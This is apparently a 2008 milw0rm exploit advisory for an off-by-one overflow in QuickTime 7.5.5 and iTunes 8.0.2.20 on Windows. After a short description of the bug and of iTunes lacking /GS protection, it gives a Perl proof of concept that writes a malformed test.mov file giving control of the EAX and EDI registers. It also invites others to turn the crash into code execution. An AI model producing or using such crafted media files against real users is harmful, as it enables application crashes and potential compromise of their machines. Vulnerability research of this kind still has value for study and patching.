93 lines
No EOL
2.8 KiB
Text
93 lines
No EOL
2.8 KiB
Text
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Quicktime/Itunes Multiple Remote Off By One Overflow
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Application: Itunes 8.0.2.20/Quicktime 7.5.5 (249.26)(-> version 990.7)
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Web Site: www.apple.com/
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Platform: Windows *, OS X *
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Bug: Off by one overflow
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Tested agains: Itunes 8.0.2.20/Quicktime 7.5.5 on XP SP3 fully patched
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-------------------------------------------------------
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1) Introduction
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2) Bug
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3) Proof of concept
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4) Credits
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================
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1) Introduction
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================
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"Many of today's leading authoring, multimedia and entertainment applications rely on QuickTime to do the heavy lifting.
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QuickTime contains a rich set of developer APIs for handling almost any audio, video and media task.
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Easily make your application multimedia-enabled with QuickTime."
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=======
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2) Bug
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=======
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Quicktime & itunes fails to handle long arguments on a .mov file.
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Quicktime is compiled with the /GS cookie on , so the bug get handled with an exit code :
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c0000409
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but ...
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Itunes doesn't seems to be compiled with the /GS flag, so we get some code execution possible via Itunes.
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The PoC give's us full control over EAX & EDI
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Itunes call unsafely the Quicktime function to play the .mov, so we can trigger a possible code execution
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via this unsafe call to quicktime héhéhé :)
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The only problem, is the lengh of the buffer overflowed :(
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erf ... 49 bytes, less the 8 bytes controlling the EDI & EAX registers so 41.
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i've tryed to find a way to fill some buffer in the .mov to get some code exec working on this poc,
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but out of luck, i guess someone will maybe be able to do some magic tricks :)
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==================
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3)Proof of concept
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==================
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#!/usr/bin/perl
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use strict;
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my $movfile =
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"\x00\x00\x00\x7d\x6d\x6f\x6f\x76\x00\x00\x00\x75\x72\x6d\x72\x61\x00\x00\x00\x6d".
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"\x72\x6d\x64\x61\x00\x00\x00\x55\x72\x64\x72\x66\x00\x00\x00\x00\x75\x72\x6c\x20".
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"\x00\x00\x00\x41\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31".
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"\x2f\x74\x65\x73\x74\x2e\x6d\x6f\x76\x00\x00\x00\x00\x10\x72\x6d\x64\x72\x00\x00".
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"\x00\x00\x00\x00\x05\x78".
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"\x41\x42\x43\x44". #EDI here
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"\x61\x62\x63\x64". #EAX here
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"\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x44\x44\x44\x41\x41\x43\x43".
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"\x43\x41\x41\x41\x42\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
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open(out, "> test.mov");
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binmode(out);
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print (out $movfile);
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close(out);
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//if you build this same payload , with a couple of bytes before theses null bytes you will trigger the same bug but in a different way ...
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=====
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5)Credits
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=====
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laurent gaffié
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laurent.gaffie{remove_this}[at]gmail[dot]com
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# milw0rm.com [2008-11-30] |